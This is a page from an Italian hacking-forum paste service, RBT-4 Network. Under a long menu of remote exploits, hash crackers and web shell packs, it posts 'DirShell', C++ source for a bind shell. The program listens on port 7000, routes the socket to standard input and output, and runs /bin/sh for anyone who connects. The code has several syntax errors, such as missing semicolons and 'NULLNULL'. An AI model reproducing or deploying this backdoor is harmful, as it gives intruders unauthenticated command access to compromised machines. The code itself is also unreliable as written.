RBT-4 Network
  
Home ::  Forum ::  Downloads ::  Cerca ::  No-Paste ::  Exploits ::  RBT-4 XSS DB ::  IT Wardriving DB ::  S.Code Bug Finder
3744672 hits 
 
::    [PDF] - Storia e realtà dell' Hacker italiano     ::    [PDF] - Sicurezza nella navigazione    ::    PyGTK - Programmazione Python GUI - Italiano    ::    Sicurezza nelle Wireless LAN - Giuseppe Paternò    ::    Il TCP/IP e la trasmissione dati su Internet    ::    Il linguaggio C - Guida pratica alla programmazione     ::    UnHash - MD5 or SHA1 Bruteforcer    ::    MD5 cracker BarsWF    ::    Joomla Security Scanner    ::    MySQL 64Bit HASH - Bruteforcer    ::    The Art Of Assembly Language - DOS16 Special Edition    ::    The Art Of Assembly Language - LINUX Special Edition    ::    The Art Of Assembly Language - Win32 Special Edition    ::    Carnivore-PersonalEdition+Source Code    ::    Sql-Injection Scanners + Guide alle Sql-Inj    ::    Huge Hackers Toolkit Suite 2006 - 48in1 (AIO)    ::    MSN Hacks All In One    ::    Web Shells Pack    ::    Man-in-the-middle attack (by blackhats security team)    ::    I Netowork X.25, comprensione della struttura di rete, tecniche di attacco ed identificazione delle     ::    Social Engeenering, una guida introduttiva (by blackhats security team)    ::    IBM Tivoli Provisioning Manager PRE AUTH Remote Exploit    ::    Apache 2.0.58 mod_rewrite Remote Overflow Exploit (win2k3)    ::    Rational Software Hidden Administrator 1.7 Auth Bypass Exploit    ::    TinyIdentD <= 2.2 Remote Buffer Overflow Exploit    ::    webdesproxy 0.0.1 (GET Request) Remote Root Exploit (exec-shield)    ::    webdesproxy 0.0.1 (GET Request) Remote Buffer Overflow Exploit    ::    GNU Mailutils imap4d 0.6 Remote Format String Exploit (exec-shield)    ::    MS Windows DNS RPC Remote Buffer Overflow Exploit (port 445) v2    ::    MS Windows DNS DnssrvQuery Remote Stack Overflow Exploit    ::    XAMPP for Windows <= 1.6.0a mssql_connect() Remote BoF Exploit    ::    MS Windows DNS RPC Remote Buffer Overflow Exploit (win2k SP4)    ::    Apache Mod_Rewrite Off-by-one Remote Overflow Exploit (win32)    ::    FileCOPA FTP Server <= 1.01 (LIST) Remote Buffer Overflow Exploit (2)    ::    IPSwitch IMail Server <= 8.20 IMAPD Remote Buffer Overflow Exploit    ::    IBM Lotus Domino Server 6.5 PRE AUTH Remote Exploit    ::    dproxy-nexgen Remote Root Buffer Overflow Exploit (x86-lnx)    ::    CA BrightStor Backup 11.5.2.0 (Mediasvr.exe) Remote Code Exploit    ::    NaviCOPA Web Server 2.01 Remote Buffer Overflow Exploit (meta)    ::    Easy File Sharing FTP Server 2.0 (PASS) Remote Exploit (Win2K SP4)    ::    WarFTP 1.65 (USER) Remote Buffer Overlow Exploit (multiple targets)    ::    Mercury Mail 4.0.1 (LOGIN) Remote IMAP Stack Buffer Overflow Exploit    ::    dproxy <= 0.5 Remote Buffer Overflow Exploit (meta 2.7)    ::    FutureSoft TFTP Server 2000 Remote SEH Overwrite Exploit    ::    Mercur Messaging 2005 <= SP4 IMAP Remote Exploit (egghunter mod)    ::    Mercur Messaging 2005 IMAP (SUBSCRIBE) Remote Exploit (win2k SP4)    ::    Helix Server 11.0.1 Remote Heap Overflow Exploit (win2k SP4)    ::    CA BrightStor ARCserve (msgeng.exe) Remote Stack Overflow Exploit    ::    WarFTP 1.65 (USER) Remote Buffer Overflow SEH Overflow Exploit    ::    WarFTP 1.65 (USER) Remote Buffer Overflow Exploit (win2k SP4)    ::    MailEnable Pro/Ent <= 2.37 (APPEND) Remote Buffer Overflow Exploit    ::    3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Exploit (perl)    ::    IPSwitch WS-FTP 5.05 (XMD5) Remote Buffer Overflow Exploit (meta)    ::    Axigen eMail Server 2.0.0b2 (pop3) Remote Format String Exploit    ::    MailEnable Professional 2.35 Remote Buffer Overflow Exploit    ::    MailEnable Enterprise <= 2.32 - 2.34 Remote Buffer Overflow Exploit    ::    Lotus Domino <= R6 Webmail Remote Password Hash Dumper Exploit    ::    IP3 NetAccess < 4.1.9.6 Remote Arbitrary File Disclosure Vulnerability    ::    SunOS 5.10/5.11 in.telnetd Remote Authentication Bypass Exploit    ::    MySQL 4.x/5.0 User-Defined Function Command Execution Exploit (win)    ::    Imail 8.10-8.12 (RCPT TO) Remote Buffer Overflow Exploit (meta)    ::    Imail 8.10-8.12 (RCPT TO) Remote Buffer Overflow Exploit    ::    CA BrightStor ARCserve (lgserver.exe) Remote Stack Overflow Exploit    ::    CA BrightStor ARCserve (msgeng.exe) Remote Heap Overflow Exploit 2    ::    CA BrightStor ARCserve (msgeng.exe) Remote Heap Overflow Exploit    ::    3Com TFTP Service <= 2.0.1 Remote Buffer Overflow Exploit (meta)    ::    Sami FTP Server 2.0.2 (USER/PASS) Remote Buffer Overflow Exploit    ::    Mercur Messaging 2005 IMAP Remote Buffer Overflow Exploit    ::    TFTPDWIN 0.4.2 Remote Buffer Overflow Exploit    ::    FileCOPA FTP Server <= 1.01 (LIST) Remote BoF Exploit (meta)    ::    Berlios GPSD <= 2.7 Remote Format String Exploit (meta)    ::    NaviCOPA Web Server 2.01 (GET) Remote Buffer Overflow Exploit meta    ::    CA BrightStor ARCserve (tapeeng.exe) Remote Buffer Overflow Exploit    ::    QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit (pl)    ::    Durian Web Application Server 3.02 Remote Buffer Overflow Exploit    ::    MS Windows ASN.1 Remote Exploit (MS04-007)    ::    ProFTPD <= 1.2.9 rc2 (ASCII File) Remote Root Exploit    ::    GNU InetUtils ftpd 1.4.2 (ld.so.preload) Remote Root Exploit    ::    OpenLDAP <= 2.4.3 (KBIND) Remote Buffer Overflow Exploit    ::    AT-TFTP <= 1.9 (Long Filename) Remote Buffer Overflow Exploit    ::    3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow Exploit    ::    ProFTPD 1.3.0 (sreplace) Remote Stack Overflow Exploit (meta)    ::    MS Windows NetpManageIPCConnect Stack Overflow Exploit (py)    ::    Omni-NFS Server 5.2 (nfsd.exe) Remote Stack Overflow Exploit (meta)    ::    Easy File Sharing Web Server 4 Remote Information Stealer Exploit    ::    PrivateWire Gateway 3.7 Remote Buffer Overflow Exploit (win32)    ::    Novell eDirectory 8.8 NDS Server Remote Stack Overflow Exploit    ::    QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit    ::    AEP SmartGate 4.3b (GET) Arbitrary File Download Exploit    ::    Ipswitch IMail Server 2006 / 8.x (RCPT) Remote Stack Overflow Exploit    ::    McAfee ePo 3.5.0 / ProtectionPilot 1.1.0 (Source) Remote Exploit    ::    NaviCOPA Web Server 2.01 (GET) Remote Buffer Overflow Exploit    ::    MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (2k3)    ::    Mercur Mailserver 5.0 SP3 (IMAP) Remote Buffer Overflow Exploit (2)    ::    RaidenHTTPD 1.1.49 (SoftParserFileXml) Remote Code Execution Exploit    ::    IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability    ::    MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (2)    ::    MDaemon POP3 Server < 9.06 (USER) Remote Heap Overflow Exploit    ::    Easy File Sharing FTP Server 2.0 (PASS) Remote Exploit (PoC)    ::    WFTPD 3.23 (SIZE) Remote Buffer Overflow Exploit    ::    
NoPaste Service
Language: C++
Author: Dir31
Description: OOP shell
Date: 07/04/08 13:49
/*
"DirShell" Coded By Dir31

Rbt-4 and Hic crew

Thanks to Matrix86 for his sources

Dir31[at]rbt-4[dot]net
*/




#include <iostream>
#include <sys/types.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <stdio.h>
#include <time.h>
#include <errno.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

using namespace std;

/*Classe Connection che gestirà la connessione*/

class Connection{

       private:
   
        int sock,asock,_porta;
        bool IsConfig; 
        struct sockaddr_in addr;
        int Bind_And_Listen_Connection();
        int AcceptConnection();
        
       public:

        Connection();
        Connection(int)
        int MakeConnection();
        void Doit();
   

    };

//costruttore standard
Connection::Connection(){

            IsConfig=false;
        
          }

//overload del costruttore che configura la sockaddr_in

Connection::Connection(int porta){
 
            IsConfig=true;
            memset((void *)&addr,0,sizeof(addr));
            addr.sin_port =htons(porta);
            addr.sin_family = AF_INET;
            addr.sin_addr.s_addr = htonl(INADDR_ANY);
         

       

   }

//inizializziamo la socket

int Connection::MakeConnection(){
           
        if(!IsConfig) return 1;
              
        sock = socket(AF_INET, SOCK_STREAM, 0);

        if(sock<0){
   
        fprintf(stderr,"Errore in socket()\n");
        return 1;

        }

//richiamiamo le 2 funzioni membro private che si occuperanno della bind() e dell' accept() 

       if(Bind_And_Listen_Connection()==1) return 1;
       if(AcceptConnection()==1) return 1;



       return 0;

}
      

            

//Bindiamo la socket e ci mettiamo in listening

int Connection::Bind_And_Listen_Connection(){
          
           if(bind(sock,(struct sockaddr *)&addr,sizeof(addr)) < 0){
             fprintf(stderr,"Errore in bind()\n");
             return 1
            }

           if (listen(sock, 10) < 0 ) {
             fprintf(stderr,"Errore in listen()\n");
             return 1;
            }

         
           return 0;
         }

//Accettiamo la socket

int Connection::AcceptConnection(){

        char mex[]="***DirShell coded by Dir31***\n***   RBT-4 & HIC crew    ***\n\n";

       
        asock = accept(sock, (struct sockaddr *) NULLNULL);
         if (asock < 0){
           fprintf(stderr,"Errore in accept()\n");
           return 1;
           }
//Da questo momento in poi gli stream di output verranno reindirizzati al client

       dup2(asock, STDIN_FILENO);
       dup2(STDIN_FILENO, STDOUT_FILENO);
       dup2(STDIN_FILENO, STDERR_FILENO);
//Scriviamo sullo stream il messaggio

       write(asock,&mex,strlen(mex));

       
       return 0;
     }

//Ed ecco che diamo in pasto la shell al nostro thread

void Connection::Doit(){

              execl("/bin/sh",NULL);              

     }

//Funzione main() molto semplice che richiama l' oggetto e i 2 membri pubblici

int main(){
    
    Connection Myconnection(7000);

    if(Myconnection.MakeConnection()!=0){
      fprintf(stderr,"Errore in MakeConnection()\n");      
      return 1;
     }
    
    Myconnection.Doit();
   

    return 0;
}